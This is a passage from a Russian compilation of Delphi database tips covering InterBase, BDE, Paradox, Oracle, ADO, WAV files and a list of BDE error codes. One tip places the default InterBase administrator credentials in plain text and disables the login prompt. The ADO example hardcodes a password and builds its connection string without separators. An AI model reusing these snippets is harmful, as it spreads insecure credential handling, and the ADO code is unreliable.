(s[i + 1] = 'А') and (s[i + 2] = 'Б') and (s[i + 3] = 'Д') then continue; {РЕН-РИН Ренат}. If s[i] = 'Е' then. If (i > 1) and (i < length(s)) then. If (s[i - 1] = 'Р') and (s[i + 1] = 'Н') then s[i] := 'И'; {ГАФ-ГФ Ягофар}. If s[i] = 'А' then. If (i > 1) and (i < length(s)) then. If (s[i - 1] = 'Г') and (s[i + 1] = 'Ф') then continue; {??-? Зинатуллин}. If (i > 1) and (s[i] = s[i - 1]) then continue; R := r + s[i]; End; Result := r; End;

Автоматический logon к локальной InterBase.

Используйте компонент TDatabase. В строках Params пропишите:

USER NAME=sysdba.

PASSWORD=masterkey.

Затем установите свойство компонента TDataBase LoginPrompt в False.

После этого, с помощью свойства DataBaseName, вы должны создать прикладной псевдоним (Alias) и связать TQuery/TTable с вашим компонентом TDataBase.

©Drkb::02883.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Определение типа базы данных.

Code: {uses должен включать в себя db, dbitypes, dbiprocs }. Procedure TForm1.FormCreate(Sender: TObject); Var. RDB: DBDesc; Begin. { Первый аргумент DbiGetDatabaseDesc - имя псевдонима базы данных. Типа PChar }. Check(DbiGetDatabaseDesc('IBLOCAL', @rDB)); { член szDbType структуры DBDesc содержит информацию о типе. Базы данных и имеет тип PChar }. ShowMessage('Database имеет тип: ' + StrPas(rDB.szDbType)); { Совет: Если вам просто необходимо узнать - SQL server это или нет, используйте свойсто TDatabase. IsSQLBased }. End;

Interbase BLOB-поля.

BLOB-поля отличаются от полей другого типа. Реально BLOB-поле имеет несколько подтипов (sub-type). Знание подтипа BLOB-поля существенно при создании приложения для работы с базами данных, которые включают в себя InterBase BLOB-поля. BLOB-поля могут быть трех подтипов: подтип 0, подтип 1 (два встроенных подтипа), и пользовательский подтип.

Подтип 0 BLOB-поля создается при выполнении команды CREATE, когда подтип не определен. Для ясности, в синтаксисе SQL все же рекомендуется явно указывать, что BLOB-поле относится к подтипу 0. Данный подтип BLOB-поля используется для хранения бинарных данных. InterBase не производит никакого анализа хранимых данных, он просто хранит данные в BLOB-поле байт-за-байтом. Наиболее частое применение BLOB-полей в приложениях Windows - хранение двоичных данных изображения, обычно отображаемое впоследствие компонентом TDBImage. Для этой цели подходит или BLOB-поле подтипа 0, или BLOB-поле пользовательского подтипа.

Второй встроенный подтип - 1. Данный подтип BLOB-поля разрабатывался для хранения текста. Обычно это данные свободного формата типа memo или заметок, отображаемых и редактируемых компонентом TDBMemo. Данный подтип BLOB-поля лучше подходит для хранения данных типа текст, чем поле, имеющее тип VARCHAR, поскольку, в отличие от поля типа VARCHAR, в режиме проектирования возможно задание ограничения по используемой областью памяти.

С помощью SQL-синтаксиса, подтип 1 BLOB-поля создается с указанием типа BLOB-поля, использованием ключевого слова SUB_TYPE и числа, указывающего на номер необходимого подтипа:

Code: CREATE TABLE WITHBLOB. ( ID CHAR(3) NOT NULL PRIMARY KEY, MEMO BLOB SUB_TYPE 1, AMOUNT NUMERIC. )

Получение дескриптора ODBC соединения.

Я как-то обращал ваше внимание на трудность получения дескриптора ODBC соединения посредством DBE. После тесного общения со службой поддержки Borland, я наконец нашел решение как это сделать. Вот этот код:

Code: Unit Getprop; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, Grids, DBGrids, StdCtrls, DB, DBTables, DBIProcs, DBITypes, DBIErrs; Type. TForm1 = class(TForm). Table1: TTable; DataSource1: TDataSource; Button1: TButton; Button2: TButton; DBGrid1: TDBGrid; Edit1: TEdit; Procedure Button1Click(Sender: TObject); Procedure Button2Click(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.Button1Click(Sender: TObject); Begin. Table1.active := True; End; Procedure TForm1.Button2Click(Sender: TObject); Var. HTmpDB: hDBIDb; ILen: word; Begin. Check(DbiGetProp(hDBIObj(Table1.DBhandle), dbNATIVEHNDL, @hTmpDB, sizeof(hDBIDb), iLen)); Edit1.text := inttostr(longint(htmpdb)); End; End.

Связь с personal Oracle.

Связаться с Personal Oracle - мудреное дело, но оно оказывается очень простым, если знать как...

Personal Oracle должен иметь имя сервера (servername) "2:" (два и точка с запятой).

Сетевой протокол (Net Protocol) ДОЛЖЕН БЫТЬ пустым (т.е. пустым - ничего не содержать).

Если вы работаете с Personal Oracle версии 7.1, в файле конфигурации сервера должен быть определен ORA71WIN.DLL, в противном случае выберите ora7win.dll.

Oracle в сети.... Если вы можете соединиться через sql*dba или sql*plus, то настройки вашего Oracle, вероятно, правильные. Кроме того, поставщик в файле конфигурации должен указывать версию базы данных.

The server name (имя сервера): SQL*Net V.1.x: Protocol (протокол) : Servername (имя сервера) : Database SID.

---> например: T:222.122.22.32:DEMO.

Помните: Protocol и SID чуствительны к регистру. Протокол T для TCP/IP. (Я не помню остальных, но я могу узнать, если они вам необходимы....). TCP/IP адрес может быть заменен псевдонимом, если правильно сконфигурирован host-файл....

SQL*Net V.2.x: Здесь все сводится к (Oracle) псевдониму. Используйте его как имя сервера (Server Name). Сетевой протокол (Network Protocol) должен отражать используемый протокол (TCP/IP, Named pipes, IPX/SPX и др.).

- Knud Andersen.

©Drkb::02736.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Проверка наличия BDE.

Code: Unit Findbde; Interface. Implementation. Uses. Controls, SysUtils, WinTypes, WinProcs, Dialogs; Var. IdapiPath: array[0..255] of Char; IdapiHandle: THandle; Initialization. GetProfileString('IDAPI', 'DLLPath', 'C:\', IdapiPath, 255); {следующие строки "изолируют" первый путь к каталогу из IdapiPath в случае, если их несколько}. If Pos(';', StrPas(IdapiPath)) <> 0 then. Begin. StrPCopy(IdapiPath, Copy(StrPas(IdapiPath), 1, Pred(Pos(';', StrPas(IdapiPath))))); End; IdapiHandle := LoadLibrary(StrCat(IdapiPath, '\IDAPI01.DLL')); If IdapiHandle < HINSTANCE_ERROR then. Begin. If MessageDlg('ОШИБКА: Borland Database Engine (IDAPI) не найдена' + 'перед следующей попыткой ее необходимо установить....', MtError, [mbOK], 0) = mrOK then. Halt. End. { IDAPI в системе не установлена }. Else. Begin. FreeLibrary(IdapiHandle); { IDAPI Установлена в системе }. End; End.

Использование BDE в сети.

1) Может ли мое приложение иметь доступ к файлам, расположенным на сетевых дисках?

Да.

2) Когда я попытался это сделать, программа выдала сообщение об ошибке "Not initialized for accessing network files" (не инициализировано для доступа к сетевым файлам).

Вероятно вам необходимо задать правильный путь к каталогу в поле 'NET DIR' файла IDAPI.CFG. Директория должна быть одна и быть доступна всем пользователям приложения с применением одинаковых подключенных сетевых дисков. (т.е.: если NET DIR указывает на F:\PUBLIC\NETDIR, пользователи с подключенным сетевым диском и имеющим путь G:\NETDIR доступа не получат).

3) Возможно ли запустить приложение, относящееся к описываемой категории, с сетевого диска без установленного на локальной машине BDE (за исключением возможных ссылок в локальном файле WIN.INI на копии элементов программы BDE/IDAPI, расположенных на сетевом диске)?

Да. Установите BDE в сети и затем добавьте следующие секции в файл WIN.INI каждой рабочей станции:

[IDAPI].

CONFIGFILE01=F:\IDAPI\IDAPI.CFG.

DLLPATH=F:\IDAPI.

[Borland Language Drivers].

LDPath=F:\IDAPI\LANGDRV.

...пути должны отражать текущее месторасположение каталога IDAPI.

4) Для установки "NET DIR" мне нужно запустить BDECFG на каждой рабочей станции или просто сделать это на "сервере"?

C помощью утилиты BDECFG отредактируйте файл IDAPI.CFG и сохраните его в сетевом каталоге IDAPI. Следовательно, вам необходимо проделать данную операцию всего-лишь один раз.

5) Если мне нужно сделать это только на сервере, то как все рабочие станции узнают о месторасположении сетевых файлов ("NET DIR")?

Рабочая станция открывает файл IDAPI.CFG из каталога, указанного в WIN.INI, и уже оттуда читает настройки NET DIR.

Eryk.

©Drkb::02610.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Как сделать ADO-connection?

Code: Uses. ComObj; Function OpenConnection(ConnectionString: AnsiString): Integer; Var. ADODBConnection: OleVariant; Begin. ADODBConnection := CreateOleObject('ADODB.Connection'); ADODBConnection.CursorLocation := 3; // User client. ADODBConnection.ConnectionString := ConnectionString; Result := 0; Try. ADODBConnection.Open; Except. Result := -1; End; End; Function DataBaseConnection_Test(bMessage: Boolean): AnsiString; Var. AsTimeout, asUserName, asPassword, asDataSource, ConnectionString: AnsiString; IReturn: Integer; OldCursor: TCursor; Begin. OldCursor := Screen.Cursor; Screen.Cursor := crHourGlass; AsTimeout := '150'; AsUserName := 'NT_Server'; AsPassword := 'SA'; AsDataSource := 'SQL Server - My DataBase'; ConnectionString := 'Data Source = ' + asDataSource + 'User ID = ' + asUserName + 'Password = ' + asPassword + 'Mode = Read|Write;Connect Timeout = ' + asTimeout; Try. IReturn := OpenConnection(ConnectionString); If (bMessage) then. Begin. If (iReturn = 0) then. Application.MessageBox('Connection OK!', 'Information', MB_OK). Else if (iReturn = -1) then. Application.MessageBox('Connection Error!', 'Error', MB_ICONERROR + MB_OK); End; If (iReturn = 0) then. Result := ConnectionString. Else if (iReturn = -1) then. Result := ''; Finally. Screen.Cursor := OldCursor; End; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. DataBaseConnection_Test(True); End;

©Drkb::02658.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Огромные LCK-файлы (Lock File Has Grown Too Large).

Если .EXE-файл расположен в том же каталоге, что и таблица Paradox, и флажок Local Share установлен в TRUE, .LCK-файл с каждым запросом растет как на дрожжах. Другая условие - вы имеете соединение посредством DbiOpenTable или TTable.Open.

РЕШЕНИЕ:

Установите частный (private) каталог в какое-нибудь другое место.

Переместите .EXE-файл в каталог, отличный от каталога с файлами таблиц.

Установите Local Share в FALSE.

- Scott Frolich.

©Drkb::02580.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Эта проблема специфична для таблиц форматат Paradox, относится как 16 битным, так и 32 битным версиям BDE, и может встречается при выполнении одного из следующих условий:

1. Исполняемый файл приложения находится в той же папке, что и таблица.

2. Некорректно установлен (неустановлен) параметр Private Directory.

3. Открытая в TTable таблица Paradox участвует в запросах TQuery.

4. Параметр LOCAL SHARE установлен в True (BDE Administrator, закладка "System").

Для решения проблемы необходимо выполнить следующие шаги:

1. В папке с исполняемым файлом приложения создайте три новых папки: TABLES, PRIV и NET (длина пути NetDir не должна привышать 31 символа). Поместите все таблицы приложения в папку Tables.

2. Во время исполнения Ваше приложение должно устанавливать значения:

Session.PrivateDir := ExtractFilePath(ParamStr(0)) + 'PRIV'; Session.NetFileDir := ExtractFilePath(ParamStr(0)) + 'NET';

3. Убедитесь, что значение LOCAL SHARE установлено в False (BDE Administrator, закладка "System").

Эти рекомендации позволяют избежать ошибки "Lock File Too Large".

Источник.

Примечание: данные рекомендации справедливы для локальных баз, в случае сетевых баз и/или размещения программы на сетевом устройстве или при доступе из нескольких программ, можно поступись следующим образом:

1. Не размещайте базу и программу в одной папке, тем более, что программу желательно поместить в защищенную от записи папку.

2. Приватный каталог надо разместить в персональной папке, желательно для каждой запущенной копии приложения отдельный, подходящее место персональная папка TEMP\SessionID\

3. Сетевой каталог NETDIR - выделить отдельную папку на сети исключительно только для этой цели и единную для всех приложений BDE.

4. LOCAL SHARE - TRUE, можно попробовать и FALSE, если это не будет приводить к порче индексов.

©Drkb::02581.

Взято с http://delphiworld.narod.ru.

Локальный общий доступ.

...я так понимаю, что LocalShare относится к ситуации, когда другие не-IDAPI приложения могут одновременно иметь доступ к одним и тем же файлам...

Примерно на такие мысли наталкивает поставляемая документация... к сожалению это не так.

LOCALSHARE=False говорит BDE о том, что он должен сам решать при необходимости вопрос о блокировке таблицы/записи в типичных ситуациях, например, когда BDE 'думает' что таблица находится на локальном диске он выключает блокировку для увеличения скорости доступа. К сожалению, логические диски общего пользования в сетях 'p-t-p' программно идентифицируются как локальные с предсказуемо липовыми результатами. Установка LOCALSHARE=True заставляет блокирующий механизм 'включаться' для всех дисков и, следовательно, решает эту проблему.

- Eryk Bottomley.

©Drkb::02611.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Формат wave файла.

Code: TWaveHeader = record. Marker1: array[0..3] of Char; BytesFollowing: LongInt; Marker2: array[0..3] of Char; Marker3: array[0..3] of Char; Fixed1: LongInt; FormatTag: Word; Channels: Word; SampleRate: LongInt; BytesPerSecond: LongInt; BytesPerSample: Word; BitsPerSample: Word; Marker4: array[0..3] of Char; DataBytes: LongInt; End;

Создание пустого wav-файла.

Как мне создать пустой wav-файл? Это просто пустой двоичный файл?

The TMediaPlayer может открыть звуковой файл, если он содержит, по крайней мере, один байт данных. Я обнаружил это, когда с помощью данного компонента пытался создать и открыть звуковой файл, содержащий только заголовок звукового файла. The TMediaplayer не захотел этого делать.

Нижеприведенный код создаст звуковой файл размером 1 байт. Конечно это криво, но это работает. Вам необходимо лишь добавить MMSYSTEM ко всем модулям, использующим данную функцию.

Code: Function CreateNewWave(NewFileName: string): Boolean; Var. DeviceID: Word; Return: LongInt; MciOpen: TMCI_Open_Parms; MciRecord: TMCI_Record_Parms; MciPlay: TMCI_Play_Parms; MciSave: TMCI_SaveParms; MCIResult: LongInt; Flags: Word; TempFileName: array[0..255] of char; Begin. MediaPlayer.Close; StrPCopy(TempFileName, NewFileName); MciOpen.lpstrDeviceType := 'waveaudio'; MciOpen.lpstrElementName := ''; Flags := Mci_Open_Element or Mci_Open_Type; MCIResult := MciSendCommand(0, MCI_OPEN, Flags, LongInt(@MciOpen)); DeviceID := MciOpen.wDeviceId; MciRecord.dwTo := 1; Flags := Mci_To or Mci_Wait; MCIResult := MciSendCommand(DeviceID, Mci_Record, Flags, LongInt(@MciRecord)); MciPlay.dwFrom := 0; Flags := Mci_From or Mci_Wait; MciSendCommand(DeviceId, Mci_Play, Flags, LongInt(@MciPlay)); MciSave.lpfileName := TempFilename; Flags := MCI_Save_File or Mci_Wait; MCIResult := MciSendCommand(DeviceID, MCI_Save, Flags, LongInt(@MciSave)); Result := MciSendCommand(DeviceID, Mci_Close, 0, LongInt(nil)) = 0; End;

Список ошибок BDE.

$0000 (0) = Successful completion.

$0021 (33) = System Error.

$0022 (34) = Object of Interest Not Found.

$0023 (35) = Physical Data Corruption.

$0024 (36) = I/O Related Error.

$0025 (37) = Resource or Limit Error.

$0026 (38) = Data Integrity Violation.

$0027 (39) = Invalid Request.

$0028 (40) = Lock Violation.

$0029 (41) = Access/Security Violation.

$002A (42) = Invalid Context.

$002B (43) = OS Error.

$002C (44) = Network Error.

$002D (45) = Optional Parameter.

$002E (46) = Query Processor.

$002F (47) = Version Mismatch.

$0030 (48) = Capability Not Supported.

$0031 (49) = System Configuration Error.

$0032 (50) = Warning.

$0033 (51) = Miscellaneous.

$0034 (52) = Compatibility Error.

$003E (62) = Driver Specific Error.

$003F (63) = Internal Symbol.

$2101 (8449) = Cannot open a system file.

$2102 (8450) = I/O error on a system file.

$2103 (8451) = Data structure corruption.

$2104 (8452) = Cannot find Engine configuration file.

$2105 (8453) = Cannot write to Engine configuration file.

$2106 (8454) = Cannot initialize with different configuration file.

$2107 (8455) = System has been illegally re-entered.

$2108 (8456) = Cannot locate IDAPI32 .DLL.

$2109 (8457) = Cannot load IDAPI32 .DLL.

$210A (8458) = Cannot load an IDAPI service library.

$210B (8459) = Cannot create or open temporary file.

$2201 (8705) = At beginning of table.

$2202 (8706) = At end of table.

$2203 (8707) = Record moved because key value changed.

$2204 (8708) = Record/Key deleted.

$2205 (8709) = No current record.

$2206 (8710) = Could not find record.

$2207 (8711) = End of BLOB.

$2208 (8712) = Could not find object.

$2209 (8713) = Could not find family member.

$220A (8714) = BLOB file is missing.

$220B (8715) = Could not find language driver.

$2301 (8961) = Corrupt table/index header.

$2302 (8962) = Corrupt file - other than header.

$2303 (8963) = Corrupt Memo/BLOB file.

$2305 (8965) = Corrupt index.

$2306 (8966) = Corrupt lock file.

$2307 (8967) = Corrupt family file.

$2308 (8968) = Corrupt or missing .VAL file.

$2309 (8969) = Foreign index file format.

$2401 (9217) = Read failure.

$2402 (9218) = Write failure.

$2403 (9219) = Cannot access directory.

$2404 (9220) = File Delete operation failed.

$2405 (9221) = Cannot access file.

$2406 (9222) = Access to table disabled because of previous error.

$2501 (9473) = Insufficient memory for this operation.

$2502 (9474) = Not enough file handles.

$2503 (9475) = Insufficient disk space.

$2504 (9476) = Temporary table resource limit.

$2505 (9477) = Record size is too big for table.

$2506 (9478) = Too many open cursors.

$2507 (9479) = Table is full.

$2508 (9480) = Too many sessions from this workstation.

$2509 (9481) = Serial number limit (Paradox).

$250A (9482) = Some internal limit (see context).

$250B (9483) = Too many open tables.

$250C (9484) = Too many cursors per table.

$250D (9485) = Too many record locks on table.

$250E (9486) = Too many clients.

$250F (9487) = Too many indexes on table.

$2510 (9488) = Too many sessions.

$2511 (9489) = Too many open databases.

$2512 (9490) = Too many passwords.

$2513 (9491) = Too many active drivers.

$2514 (9492) = Too many fields in Table Create.

$2515 (9493) = Too many table locks.

$2516 (9494) = Too many open BLOBs.

$2517 (9495) = Lock file has grown too large.

$2518 (9496) = Too many open queries.

$251A (9498) = Too many BLOBs.

$251B (9499) = File name is too long for a Paradox version 5.0 table.

$251C (9500) = Row fetch limit exceeded.

$251D (9501) = Long name not allowed for this tablelevel.

$2601 (9729) = Key violation.

$2602 (9730) = Minimum validity check failed.

$2603 (9731) = Maximum validity check failed.

$2604 (9732) = Field value required.

$2605 (9733) = Master record missing.

$2606 (9734) = Master has detail records. Cannot delete or modify.

$2607 (9735) = Master table level is incorrect.

$2608 (9736) = Field value out of lookup table range.

$2609 (9737) = Lookup Table Open operation failed.

$260A (9738) = Detail Table Open operation failed.

$260B (9739) = Master Table Open operation failed.

$260C (9740) = Field is blank.

$260D (9741) = Link to master table already defined.

$260E (9742) = Master table is open.

$260F (9743) = Detail table(s) exist.

$2610 (9744) = Master has detail records. Cannot empty it.

$2611 (9745) = Self referencing referential integrity must be entered one at a time with no other changes to the table.

$2612 (9746) = Detail table is open.

$2613 (9747) = Cannot make this master a detail of another table if its details are not empty.

$2614 (9748) = Referential integrity fields must be indexed.

$2615 (9749) = A table linked by referential integrity requires password to open.

$2616 (9750) = Field(s) linked to more than one master.

$2617 (9751) = Expression validity check failed.

$2701 (9985) = Number is out of range.

$2702 (9986) = Invalid parameter.

$2703 (9987) = Invalid file name.

$2704 (9988) = File does not exist.

$2705 (9989) = Invalid option.

$2706 (9990) = Invalid handle to the function.

$2707 (9991) = Unknown table type.

$2708 (9992) = Cannot open file.

$2709 (9993) = Cannot redefine primary key.

$270A (9994) = Cannot change this RINTDesc.

$270B (9995) = Foreign and primary key do not match.

$270C (9996) = Invalid modify request.

$270D (9997) = Index does not exist.

$270E (9998) = Invalid offset into the BLOB.

$270F (9999) = Invalid descriptor number.

$2710 (10000) = Invalid field type.

$2711 (10001) = Invalid field descriptor.

$2712 (10002) = Invalid field transformation.

$2713 (10003) = Invalid record structure.

$2714 (10004) = Invalid descriptor.

$2715 (10005) = Invalid array of index descriptors.

$2716 (10006) = Invalid array of validity check descriptors.

$2717 (10007) = Invalid array of referential integrity descriptors.

$2718 (10008) = Invalid ordering of tables during restructure.

$2719 (10009) = Name not unique in this context.

$271A (10010) = Index name required.

$271B (10011) = Invalid session handle.

$271C (10012) = invalid restructure operation.

$271D (10013) = Driver not known to system.

$271E (10014) = Unknown database.

$271F (10015) = Invalid password given.

$2720 (10016) = No callback function.

$2721 (10017) = Invalid callback buffer length.

$2722 (10018) = Invalid directory.

$2723 (10019) = Translate Error. Value out of bounds.

$2724 (10020) = Cannot set cursor of one table to another.

$2725 (10021) = Bookmarks do not match table.

$2726 (10022) = Invalid index/tag name.

$2727 (10023) = Invalid index descriptor.

$2728 (10024) = Table does not exist.

$2729 (10025) = Table has too many users.

$272A (10026) = Cannot evaluate Key or Key does not pass filter condition.

$272B (10027) = Index already exists.

$272C (10028) = Index is open.

$272D (10029) = Invalid BLOB length.

$272E (10030) = Invalid BLOB handle in record buffer.

$272F (10031) = Table is open.

$2730 (10032) = Need to do (hard) restructure.

$2731 (10033) = Invalid mode.

$2732 (10034) = Cannot close index.

$2733 (10035) = Index is being used to order table.

$2734 (10036) = Unknown user name or password.

$2735 (10037) = Multi-level cascade is not supported.

$2736 (10038) = Invalid field name.

$2737 (10039) = Invalid table name.

$2738 (10040) = Invalid linked cursor expression.

$2739 (10041) = Name is reserved.

$273A (10042) = Invalid file extension.

$273B (10043) = Invalid language Driver.

$273C (10044) = Alias is not currently opened.

$273D (10045) = Incompatible record structures.

$273E (10046) = Name is reserved by DOS.

$273F (10047) = Destination must be indexed.

$2740 (10048) = Invalid index type.

$2741 (10049) = Language Drivers of Table and Index do not match.

$2742 (10050) = Filter handle is invalid.

$2743 (10051) = Invalid Filter.

$2744 (10052) = Invalid table create request.

$2745 (10053) = Invalid table delete request.

$2746 (10054) = Invalid index create request.

$2747 (10055) = Invalid index delete request.

$2748 (10056) = Invalid table specified.

$274A (10058) = Invalid Time.

$274B (10059) = Invalid Date.

$274C (10060) = Invalid Datetime.

$274D (10061) = Tables in different directories.

$274E (10062) = Mismatch in the number of arguments.

$274F (10063) = Function not found in service library.

$2750 (10064) = Must use baseorder for this operation.

$2751 (10065) = Invalid procedure name.

$2752 (10066) = The field map is invalid.

$2801 (10241) = Record locked by another user.

$2802 (10242) = Unlock failed.

$2803 (10243) = Table is busy.

$2804 (10244) = Directory is busy.

$2805 (10245) = File is locked.

$2806 (10246) = Directory is locked.

$2807 (10247) = Record already locked by this session.

$2808 (10248) = Object not locked.

$2809 (10249) = Lock time out.

$280A (10250) = Key group is locked.

$280B (10251) = Table lock was lost.

$280C (10252) = Exclusive access was lost.

$280D (10253) = Table cannot be opened for exclusive use.

$280E (10254) = Conflicting record lock in this session.

$280F (10255) = A deadlock was detected.

$2810 (10256) = A user transaction is already in progress.

$2811 (10257) = No user transaction is currently in progress.

$2812 (10258) = Record lock failed.

$2813 (10259) = Couldn't perform the edit because another user changed the record.

$2814 (10260) = Couldn't perform the edit because another user deleted or moved the record.

$2901 (10497) = Insufficient field rights for operation.

$2902 (10498) = Insufficient table rights for operation. Password required.

$2903 (10499) = Insufficient family rights for operation.

$2904 (10500) = This directory is read only.

$2905 (10501) = Database is read only.

$2906 (10502) = Trying to modify read-only field.

$2907 (10503) = Encrypted dBASE tables not supported.

$2908 (10504) = Insufficient SQL rights for operation.

$2A01 (10753) = Field is not a BLOB.

$2A02 (10754) = BLOB already opened.

$2A03 (10755) = BLOB not opened.

$2A04 (10756) = Operation not applicable.

$2A05 (10757) = Table is not indexed.

$2A06 (10758) = Engine not initialized.

$2A07 (10759) = Attempt to re-initialize Engine.

$2A08 (10760) = Attempt to mix objects from different sessions.

$2A09 (10761) = Paradox driver not active.

$2A0A (10762) = Driver not loaded.

$2A0B (10763) = Table is read only.

$2A0C (10764) = No associated index.

$2A0D (10765) = Table(s) open. Cannot perform this operation.

$2A0E (10766) = Table does not support this operation.

$2A0F (10767) = Index is read only.

$2A10 (10768) = Table does not support this operation because it is not uniquely indexed.

$2A11 (10769) = Operation must be performed on the current session.

$2A12 (10770) = Invalid use of keyword.

$2A13 (10771) = Connection is in use by another statement.

$2A14 (10772) = Passthrough SQL connection must be shared.

$2B01 (11009) = Invalid function number.

$2B02 (11010) = File or directory does not exist.

$2B03 (11011) = Path not found.

$2B04 (11012) = Too many open files. You may need to increase MAXFILEHANDLE limit in IDAPI configuration.

$2B05 (11013) = Permission denied.

$2B06 (11014) = Bad file number.

$2B07 (11015) = Memory blocks destroyed.

$2B08 (11016) = Not enough memory.

$2B09 (11017) = Invalid memory block address.

$2B0A (11018) = Invalid environment.

$2B0B (11019) = Invalid format.

$2B0C (11020) = Invalid access code.

$2B0D (11021) = Invalid data.

$2B0F (11023) = Device does not exist.

$2B10 (11024) = Attempt to remove current directory.

$2B11 (11025) = Not same device.

$2B12 (11026) = No more files.

$2B13 (11027) = Invalid argument.

$2B14 (11028) = Argument list is too long.

$2B15 (11029) = Execution format error.

$2B16 (11030) = Cross-device link.

$2B21 (11041) = Math argument.

$2B22 (11042) = Result is too large.

$2B23 (11043) = File already exists.

$2B27 (11047) = Unknown internal operating system error.

$2B32 (11058) = Share violation.

$2B33 (11059) = Lock violation.

$2B34 (11060) = Critical DOS Error.

$2B35 (11061) = Drive not ready.

$2B64 (11108) = Not exact read/write.

$2B65 (11109) = Operating system network error.

$2B66 (11110) = Error from NOVELL file server.

$2B67 (11111) = NOVELL server out of memory.

$2B68 (11112) = Record already locked by this workstation.

$2B69 (11113) = Record not locked.

$2C01 (11265) = Network initialization failed.

$2C02 (11266) = Network user limit exceeded.

$2C03 (11267) = Wrong .NET file version.

$2C04 (11268) = Cannot lock network file.

$2C05 (11269) = Directory is not private.

$2C06 (11270) = Directory is controlled by other .NET file.

$2C07 (11271) = Unknown network error.

$2C08 (11272) = Not initialized for accessing network files.

$2C09 (11273) = SHARE not loaded. It is required to share local files.

$2C0A (11274) = Not on a network. Not logged in or wrong network driver.

$2C0B (11275) = Lost communication with SQL server.

$2C0D (11277) = Cannot locate or connect to SQL server.

$2C0E (11278) = Cannot locate or connect to network server.

$2D01 (11521) = Optional parameter is required.

$2D02 (11522) = Invalid optional parameter.

$2E01 (11777) = obsolete.

$2E02 (11778) = obsolete.

$2E03 (11779) = Ambiguous use of ! (inclusion operator).

$2E04 (11780) = obsolete.

$2E05 (11781) = obsolete.

$2E06 (11782) = A SET operation cannot be included in its own grouping.

$2E07 (11783) = Only numeric and date/time fields can be averaged.

$2E08 (11784) = Invalid expression.

$2E09 (11785) = Invalid OR expression.

$2E0A (11786) = obsolete.

$2E0B (11787) = bitmap.

$2E0C (11788) = CALC expression cannot be used in INSERT, DELETE, CHANGETO and SET rows.

$2E0D (11789) = Type error in CALC expression.

$2E0E (11790) = CHANGETO can be used in only one query form at a time.

$2E0F (11791) = Cannot modify CHANGED table.

$2E10 (11792) = A field can contain only one CHANGETO expression.

$2E11 (11793) = A field cannot contain more than one expression to be inserted.

$2E12 (11794) = obsolete.

$2E13 (11795) = CHANGETO must be followed by the new value for the field.

$2E14 (11796) = Checkmark or CALC expressions cannot be used in FIND queries.

$2E15 (11797) = Cannot perform operation on CHANGED table together with a CHANGETO query.

$2E16 (11798) = chunk.

$2E17 (11799) = More than 255 fields in ANSWER table.

$2E18 (11800) = AS must be followed by the name for the field in the ANSWER table.

$2E19 (11801) = DELETE can be used in only one query form at a time.

$2E1A (11802) = Cannot perform operation on DELETED table together with a DELETE query.

$2E1B (11803) = Cannot delete from the DELETED table.

$2E1C (11804) = Example element is used in two fields with incompatible types or with a BLOB.

$2E1D (11805) = Cannot use example elements in an OR expression.

$2E1E (11806) = Expression in this field has the wrong type.

$2E1F (11807) = Extra comma found.

$2E20 (11808) = Extra OR found.

$2E21 (11809) = One or more query rows do not contribute to the ANSWER.

$2E22 (11810) = FIND can be used in only one query form at a time.

$2E23 (11811) = FIND cannot be used with the ANSWER table.

$2E24 (11812) = A row with GROUPBY must contain SET operations.

$2E25 (11813) = GROUPBY can be used only in SET rows.

$2E26 (11814) = Use only INSERT, DELETE, SET or FIND in leftmost column.

$2E27 (11815) = Use only one INSERT, DELETE, SET or FIND per line.

$2E28 (11816) = Syntax error in expression.

$2E29 (11817) = INSERT can be used in only one query form at a time.

$2E2A (11818) = Cannot perform operation on INSERTED table together with an INSERT query.

$2E2B (11819) = INSERT, DELETE, CHANGETO and SET rows may not be checked.

$2E2C (11820) = Field must contain an expression to insert (or be blank).

$2E2D (11821) = Cannot insert into the INSERTED table.

$2E2E (11822) = Variable is an array and cannot be accessed.

$2E2F (11823) = Label.

$2E30 (11824) = Rows of example elements in CALC expression must be linked.

$2E31 (11825) = Variable name is too long.

$2E32 (11826) = Query may take a long time to process.

$2E33 (11827) = Reserved word or one that can't be used as a variable name.

$2E34 (11828) = Missing comma.

$2E35 (11829) = Missing ).

$2E36 (11830) = Missing right quote.

$2E37 (11831) = Cannot specify duplicate column names.

$2E38 (11832) = Query has no checked fields.

$2E39 (11833) = Example element has no defining occurrence.

$2E3A (11834) = No grouping is defined for SET operation.

$2E3B (11835) = Query makes no sense.

$2E3C (11836) = Cannot use patterns in this context.

$2E3D (11837) = Date does not exist.

$2E3E (11838) = Variable has not been assigned a value.

$2E3F (11839) = Invalid use of example element in summary expression.

$2E40 (11840) = Incomplete query statement. Query only contains a SET definition.

$2E41 (11841) = Example element with ! makes no sense in expression.

$2E42 (11842) = Example element cannot be used more than twice with a ! query.

$2E43 (11843) = Row cannot contain expression.

$2E44 (11844) = obsolete.

$2E45 (11845) = obsolete.

$2E46 (11846) = No permission to insert or delete records.

$2E47 (11847) = No permission to modify field.

$2E48 (11848) = Field not found in table.

$2E49 (11849) = Expecting a column separator in table header.

$2E4A (11850) = Expecting a column separator in table.

$2E4B (11851) = Expecting column name in table.

$2E4C (11852) = Expecting table name.

$2E4D (11853) = Expecting consistent number of columns in all rows of table.

$2E4E (11854) = Cannot open table.

$2E4F (11855) = Field appears more than once in table.

$2E50 (11856) = This DELETE, CHANGE or INSERT query has no ANSWER.

$2E51 (11857) = Query is not prepared. Properties unknown.

$2E52 (11858) = DELETE rows cannot contain quantifier expression.

$2E53 (11859) = Invalid expression in INSERT row.

$2E54 (11860) = Invalid expression in INSERT row.

$2E55 (11861) = Invalid expression in SET definition.

$2E56 (11862) = row use.

$2E57 (11863) = SET keyword expected.

$2E58 (11864) = Ambiguous use of example element.

$2E59 (11865) = obsolete.

$2E5A (11866) = obsolete.

$2E5B (11867) = Only numeric fields can be summed.

$2E5C (11868) = Table is write protected.

$2E5D (11869) = Token not found.

$2E5E (11870) = Cannot use example element with ! more than once in a single row.

